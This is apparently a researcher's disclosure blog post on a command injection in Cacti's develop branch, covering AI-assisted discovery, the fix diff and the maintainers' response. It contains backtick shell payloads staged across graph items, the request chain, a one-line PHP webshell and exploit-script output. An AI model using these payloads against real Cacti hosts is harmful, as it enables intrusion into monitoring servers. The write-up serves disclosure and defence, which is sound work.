Skip to main content

Command Palette

Search for a command to run...

From Graph Editor to Webshell: Finishing the Job CVE-2026-40079 Left Open

Updated
•17 min read•View as Markdown
From Graph Editor to Webshell: Finishing the Job CVE-2026-40079 Left Open
C
hack3r from Campuchino

Most advisories end with "fixed." This one ended with a sentence that read like an open invitation:

Status: PARTIALLY FIXED. The tune function is fixed. The graph rendering shell_exec path has residual injection surface.

That's from the published CVE-2026-40079 advisory for Cacti. The maintainers fixed the part they could reach and wrote down, in public, that another part was still soft. I read that line, pointed Codex at the repo, and about an afternoon later I had a low-privilege Cacti user dropping an unauthenticated PHP webshell on the host.

This post is the story of that surface. It's also a story about who did which part of the work, because I didn't find this bug by reading lib/rrd.php myself, and I didn't write the patch myself either. Codex found it. Claude wrote the fix. I did the part in the middle — deciding whether the thing Codex flagged was actually reachable, building the payload, and proving it.


Background: why Cacti

Cacti is a network monitoring and graphing front-end. You point it at your switches, routers and servers, it polls them over SNMP, and it draws graphs using RRDtool. It's been around since the early 2000s.

The GitHub repo sits at around 1.9k stars, which badly understates the footprint. Cacti ships in the Debian, Ubuntu and RHEL repositories. It runs in ISP NOCs, university networks, and inside a lot of enterprises that installed it a decade ago and never touched it again. It's the kind of software that is boring, load-bearing, and sitting on a box with network reach into everything it monitors.

The interesting structural thing about Cacti is that it's a PHP app whose entire job is to shell out to another program. Every graph you look at is a long RRDtool command line, built by string concatenation from values in the database. That's a lot of surface, and almost all of it is fed by things a user typed into a form.

So the question wasn't really "is there a command injection here." It was "which of the dozens of fields that land on that command line still isn't escaped."


Tooling: how Codex found it

I ran this as a source review. The model was GPT-5.6-Sol through the Codex CLI in security-review mode, pointed at the Cacti develop branch at commit 02ff0ae37 (1.3.0-dev).

I gave it the previous advisory as context, which turned out to matter a lot. My prompt was basically: here's a CVE that says the graph render path still has residual injection surface. Find it. Trace every value that reaches the RRDtool command line in rrdtool_function_graph() back to where it's stored, and tell me which ones have no escaping and no input validation.

That framing is narrower than the usual "go find bugs" prompt, and it plays to what these agents are actually good at. rrdtool_function_graph() is a ~1400-line function. Following twenty different values through it, across three files, without losing track of any of them, is tedious in a way that humans are bad at and agents are not.

Codex came back with three things stacked on top of each other, and the third one is the part I would probably have missed:

  1. escape_command() — the function whose name says it escapes things — returns its input unchanged.

  2. Five graph-item fields get concatenated into the command line raw: dashes, dash_offset, gradheight, alpha, alpha2.

  3. The safe execution path is dead code. It's behind if (0 == 1).

Point 3 is what turns points 1 and 2 from "ugly" into "RCE." I'd have read the proc_open() block sitting right there and assumed the command went to RRDtool's stdin, which is what it looks like on a skim. Codex read the condition.

I want to be specific about the division of labour, because "AI found a bug" is a claim people are right to be skeptical of. Codex did not tell me this was exploitable. It told me where the unescaped values were and which branch actually ran. Everything after that — whether a backtick survives the storage layer, whether a 20-character column is enough, what RRDtool's working directory is, whether cache/ is writable and served as PHP — I checked by hand. Codex narrowed a 5000-line file down to five lines worth spending the afternoon on. That's the whole value, and it's a lot of value.


Three small decisions that add up

Nobody wrote this bug. Three people made three reasonable-looking decisions years apart, and the bug is what's left over.

Decision one: "we escape every single argument now"

function escape_command(string $command) : string {
    return $command;   // we escape every single argument now, no need for 'special' escaping
}

Someone did the right thing. They moved Cacti from blunt metacharacter-stripping to per-argument escaping with cacti_escapeshellarg(), and then gutted the old function because it was no longer needed. The comment is a statement of intent, and for most of the command line it's true — DEF, COMMENT, CDEF and text_format all go through cacti_escapeshellarg().

It just wasn't true for five fields.

Decision two: if (0 == 1)

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/e24d9c71-ad2d-473f-80e2-8cddb400da72.png align="middle")

Look at line 403, then line 406.

$full_commandline = read_config_option('path_rrdtool') . $debug . ' ' . escape_command($command_line);

while ($attempts < 5) {
    if (0 == 1) { // @phpstan-ignore-line
        /**
         * For debugging issue associated with RRDtool, for now I'm commenting out this line
         * There are issues processing graphv output with the --add-jsontime option when
         * rrdtool is launched in the background.
         *
         * The reason for this difference is still to be determined.
         */
        $process = proc_open(read_config_option('path_rrdtool') . ' - ' . $debug, $descriptorspec, $pipes);
        // ... writes the command to RRDtool's stdin, no shell involved
    } else {
        $output = shell_exec($full_commandline);
    }

Someone hit a bug with --add-jsontime, disabled the proc_open() path to debug it, wrote an honest comment saying they didn't know why the two paths behaved differently, and moved on. The else branch is now the only branch. Every graph render on develop goes through shell_exec.

This is also exactly why the released 1.2.x line isn't affected — over there, the proc_open() path is live, the command goes to RRDtool's stdin, and backticks are just characters. The shell came back on develop as a debugging workaround.

Decision three: the empty regex

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/e03b75e2-0da1-4625-ad3b-2253956b3f8c.png align="middle")

Cacti validates graph-item fields on save with form_input_validate($value, $name, $regex, $allow_empty, $error). The third argument is the regex. Look at what's there and what isn't:

$save['alpha']        = form_input_validate(..., 'alpha',        '',            true, 3);
$save['alpha2']       = form_input_validate(..., 'alpha2',       '',            true, 3);
$save['gradheight']   = form_input_validate(..., 'gradheight',   '',            true, 3);
$save['graph_type_id']= form_input_validate(..., 'graph_type_id','^[0-9]+$',    true, 3);
$save['line_width']   = form_input_validate(..., 'line_width',   '(^[0-9]+[\.,0-9]+$|^[0-9]+$)', true, 3);
$save['dashes']       = form_input_validate(..., 'dashes',       '',            true, 3);
$save['dash_offset']  = form_input_validate(..., 'dash_offset',  '^[0-9]+$',    true, 3);

dash_offset has a regex. The line directly above it, dashes, does not. Neither do alpha, alpha2 or gradheight. These are all fields that hold numbers. They just never got one.

So: no input validation, no output escaping, and a shell at the end. That's the bug.


Building the payload

The sinks are three lines, spread across the function:

$graph_item_color_code .= $graph_item['alpha'];                 // ~2540
$dash .= ':dashes=' . $graph_item['dashes'];                    // ~2566
$txt_graph_items .= ':gradheight=' . $graph_item['gradheight']; // ~2692 and ~2721

These end up inside $command_line, which goes to shell_exec() through the no-op. There's no quoting around them at all, which actually makes this easier than the usual quote-breakout dance — I don't need to close anything. Backticks work directly:

dashes=`id > /tmp/pwn`

The real constraint isn't the shell. It's the column. dashes is varchar(20). Twenty characters, minus two backticks, leaves eighteen for the command.

Eighteen characters is enough to do useful work if you stop thinking of it as one command. A graph can have many items, and every item contributes its own dashes value to the same command line. So you stage:

item 1:  `>/tmp/c`              # create the file
item 2:  `echo 'a'>>/tmp/c`     # append a chunk
item 3:  `echo 'b'>>/tmp/c`     # append the next chunk
...
item n:  `sh /tmp/c`            # run it

Each item is under twenty characters. Together they write and execute an arbitrarily long script. The 20-character cap is speed bump, not a control.


Proof of concept

The account I used holds one permission: realm 5, "Graphs." That's the role you hand to the person whose job is editing graphs. Not an admin.

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/710c4af6-df58-4f42-8853-914be48ebb93.png align="middle")

The chain is three steps:

1. Create a graph. POST graphs.php with action=save&save_component_graph=1.

2. Add graph items carrying the payload in dashes, staged across items as above. POST graphs.php with action=save&save_component_item=1&graph_type_id=2&...&dashes=.... The values go into graph_templates_item verbatim — I pulled them back out of the database afterwards to confirm the backticks survived storage.

3. Render the graph. GET graph_image.php?local_graph_id=<id>.

Step 3 is the trigger. Rendering a graph is the most ordinary thing you can do in Cacti. It's also what fires the command.

Here's the whole thing running:

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/770daeeb-01f6-475d-aad4-89b065929bb5.png align="middle")

$ ./cacti_webshell_realm5.sh -u gopr -p [redacted] -t http://localhost:8081/cacti
[+] logged in as gopr
[+] created graph local_graph_id=4
[*] dropping webshell → cache/ctiu782.php (cwd=webroot, cache/ is www-data-writable & PHP-served)

[+] WEBSHELL LIVE (unauthenticated):
      http://localhost:8081/cacti/cache/ctiu782.php?0=<command>
    proof:
      CACTI_OK_669510
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why it doesn't stop at "command execution"

RRDtool runs with its working directory set to the Cacti webroot. That puts cache/ one relative path away. And cache/:

  • is writable by www-data,

  • has no .htaccess,

  • is inside the docroot, so the web server happily executes .php files in it.

So the injected command doesn't have to do anything clever. It writes a file:

<?php system($_REQUEST[0]); ?>  →  cache/<random>.php

And now the authentication requirement is gone. Anyone who knows the filename gets a shell:

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/7ace4be0-0e25-48b6-b4f7-7eacf32d17fc.png align="middle")

That's uid=33(www-data) from a browser with no session, no cookie, no login. The bug starts as "authenticated low-privilege user" and ends as "no authentication at all."

I also filmed the whole run for the advisory, because a video of someone clicking through the graph editor and then curling a webshell is worth more to a triager than three paragraphs of prose.


Impact

CVSS 3.1: 8.3 High — AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:HCWE-78 (OS Command Injection), CWE-88 (Argument Injection)

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/35f8ed3c-0006-46f5-a562-9f067375e25e.png align="middle")

The part that matters isn't the number, it's the privilege gap. Realm 5 is the "you may edit graphs" permission. It is deliberately not an admin role. Cacti hands it out to operators, to junior NOC staff, to whoever maintains the dashboards. Nobody who grants that realm believes they are granting shell access to the monitoring host.

And a monitoring host is a genuinely bad box to lose. It has SNMP community strings for the entire network, credentials for every device it polls, and reach into management segments that nothing else can talk to.


The fix, written by Claude

Once the report was in, I wanted a patch attached to it. A report with a diff is a much easier thing for a maintainer to say yes to than a report that hands them homework.

I wrote that patch with Claude Opus 4.8 (1M context), and I want to be straight about how much of it was mine: the instruction was roughly "fix this the way the file already fixes the same problem elsewhere — don't invent a new pattern."

That constraint is the whole point. rrdtool_function_graph() already escapes text_format with cacti_escapeshellarg(), two lines away from one of the vulnerable sinks. A patch that introduced a new sanitizer, or a new wrapper function, or a validation layer, would have been a worse patch — more surface for a maintainer to review, more chance of breaking a render path, more reason to say "let me think about this." The right patch was the boring one that looked like it had always been there.

The 1M context window mattered more than I expected. lib/rrd.php is 5080 lines, and rrdtool_function_graph() alone is around 1400. Being able to put the whole file in and ask "find every place this function escapes a value, and match that" is a different exercise from feeding it a 60-line window around each sink.

What came out was five call sites and two comments:

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/8a3c0c99-9393-4644-9ae4-3f55f921eb69.png align="middle")

- $graph_item_color_code .= $graph_item['alpha'];
+ // alpha is user-controlled and concatenated raw into the shell command
+ // line (escape_command() is a no-op), so escape it like every other argument.
+ $graph_item_color_code .= cacti_escapeshellarg($graph_item['alpha']);

- $graph_item_color_code2 .= $graph_item['alpha2'];
+ $graph_item_color_code2 .= cacti_escapeshellarg($graph_item['alpha2']);

+ // dashes / dash_offset are user-controlled and concatenated raw into the
+ // shell command line (escape_command() is a no-op), so escape them.
  if (!empty($graph_item['dashes'])) {
-     $dash .= ':dashes=' . $graph_item['dashes'];
+     $dash .= ':dashes=' . cacti_escapeshellarg($graph_item['dashes']);
  }

  if (!empty($graph_item['dash_offset'])) {
-     $dash .= ':dash-offset=' . $graph_item['dash_offset'];
+     $dash .= ':dash-offset=' . cacti_escapeshellarg($graph_item['dash_offset']);
  }

- $txt_graph_items .= ':gradheight=' . $graph_item['gradheight'];
+ $txt_graph_items .= ':gradheight=' . cacti_escapeshellarg($graph_item['gradheight']);

Ten lines added, six removed, one file.

dash_offset is in there even though it already has a ^[0-9]+$ regex at input. It sits on the same line of the command as dashes and it's the same class of value, so leaving it as the one unescaped field in the group would just be waiting for someone to relax that regex later.

The behaviour doesn't change for anyone. cacti_escapeshellarg('5,3') gives '5,3', the shell strips the quotes, RRDtool sees 5,3. Real graphs render exactly as before. Backticks become literal backticks, and RRDtool rejects them as a malformed value — which is what should have happened all along.

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/fa7f0f0c-fbdb-47d5-9bd7-22baa5486506.png align="middle")

The commit is signed off by me and co-authored by the model. I think that trailer is the honest way to do this. I decided what to fix and why, and I'm the one who takes responsibility if the patch is wrong. But I didn't type it, and pretending otherwise in a security context — where people are trusting your diff — seems like exactly the wrong place to be vague.


What the maintainers did with it

This is the part where the story gets more interesting than "reported bug, bug fixed."

The Cacti security team confirmed the report on develop, and then went and checked the released line. Their finding:

released 1.2.31: the OS-command-injection does NOT reproduce. rrdtool_function_graph() runs through rrdtool_execute() → proc_open('rrdtool -') + fwrite to STDIN. There is no shell_exec on 1.2.31. The graph command (with the raw dashes) reaches rrdtool's stdin parser, not /bin/sh, so backticks/$() are inert.

They were right. The if (0 == 1) regression only exists on develop. On the shipped release, the same unescaped values ride into the same command string and then land somewhere a shell never sees.

That put the report in an awkward spot. Cacti scopes advisories against released versions, and by that rule this is out of scope — so the advisory was closed without a CVE, with reporter credit retained. If you only look at the advisory page, it reads like a rejection.

It wasn't. On 24 September the escaping shipped anyway, as part of PR #8064, a consolidation batch of verified GHSA fixes for 1.2.x:

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/a6056344-e383-4bb3-a45d-792b783f7752.png align="middle")

GHSA-vq9v-6ggh-phhr (reported via Cacti/cacti-GHSA-vq9v-6ggh-phhr#1 by @blvck-ltr) — Escape the graph-item alpha, dashes, and dash_offset fields before they reach the RRDtool shell command line in rrdtool_function_graph().

Merged into 1.2.x by TheWitness, approved, 24 checks green.

Worth noting what actually happened mechanically, because it's how a lot of GHSA work goes and it surprised me the first time: my PR in the private advisory fork is still sitting there open, and it always will be. Maintainers don't merge those. They read them, port the change onto the branch they're actually shipping, and reference the original. Here's the merged 1.2.x commit:

![](https://cdn.hashnode.com/uploads/covers/699fec8cc9015c37f6e5364f/21fc3aca-f532-4b7c-93dc-69d0b4d25af7.png align="middle")

Note the comments. // alpha is user-controlled and concatenated raw into the shell command line (escape_command() is a no-op), so escape it like every other argument. — that's Claude's comment text, verbatim, in shipped Cacti. Which I did not expect, and which is a small argument for making the AI-written parts of a patch good enough to survive review rather than just correct enough to pass it.

And then develop got the better fix

The interesting epilogue: go look at lib/rrd.php on develop today and none of this code exists anymore.

escape_command() is gone. shell_exec is gone. The command is executed like this:

$process = proc_open([$path, '-'], $descriptors, $pipes, null, null, ['bypass_shell' => true]);

An argument array, bypass_shell on. There is no shell to inject into, so there is nothing to escape.

And the fields got normalizers at the sink:

$dashes = rrd_graph_item_number_list($graph_item['dashes']);
if ($dashes !== '') {
    $dash .= ':dashes=' . $dashes;
}

$gradheight = strip_alpha($graph_item['gradheight']);
if ($gradheight !== false) {
    $txt_graph_items .= ':gradheight=' . $gradheight;
}

strip_alpha() throws away everything that isn't [0-9,.+-] and returns false if what's left isn't numeric. Belt and suspenders, on top of a command path that no longer has a shell in it.

That's the fix I'd have wanted and wouldn't have proposed. A five-line escaping patch is the right thing to send a maintainer in a security advisory — it's reviewable, it's obviously safe, it can ship today. Ripping out shell execution across a 5000-line file is the right thing for the project, and it is absolutely not something a drive-by reporter should be attempting in an advisory fork.

Both fixes were correct. They just answered different questions.


Disclosure timeline

Date Event
2026-07-13 Reported privately as GHSA-vq9v-6ggh-phhr, with PoC video and script
2026-07-14 Fix PR opened in the advisory's private fork (commit 12680b6)
2026-07-~ Report accepted, reporter credit accepted
2026-08-22 Maintainer scope validation: confirmed on develop, out of scope for released 1.2.x
2026-08-27 Maintainer live verification against 1.2.31
2026-09-24 Escaping merged into 1.2.x via PR #8064; advisory closed, credit retained, no CVE assigned

Takeaways

If an advisory tells you what it didn't fix, believe it. "Residual injection surface" is a maintainer writing down, in public, where the next bug is. That sentence was the entire reason I looked at Cacti. Partial-fix language in old advisories is one of the cheapest leads in this job and almost nobody follows it up.

if (0 == 1) deserves a lint rule. The single highest-leverage thing Codex told me was which branch actually executed. A disabled-for-debugging code path that silently changes your execution model from "pipe to stdin" to "hand it to /bin/sh" is a security regression wearing a debugging comment. If you're going to disable a path like that, disable it loudly.

Column width is not a security control. varchar(20) felt like it should stop this, and it stopped nothing — the same command line gets contributions from every graph item, so you just stage it. If a value reaches a shell, its length is a detail.

On using agents for this work: Codex found this and I want that stated plainly, not hedged. It traced five values across a 1400-line function and caught a dead branch I'd have skimmed past. It did not tell me the thing was exploitable, and it couldn't have — that took knowing what RRDtool's cwd is and whether cache/ is served as PHP. Use it as a tracer. Do the reachability yourself.

And on using a model to write the patch: the constraint that made it work was "match what this file already does," not "write me a fix." Security patches get reviewed by tired maintainers who have forty other things open. The patch that ships is the one that looks like it was always there. Put your model to work on that, sign off on it yourself, and put the co-author line in the commit.


Reported by @blvck-ltr. Thanks to the Cacti security team — somethingwithproof, netniV and TheWitness — who validated this against both branches instead of taking the report at face value, and shipped the hardening even after scoping the advisory out.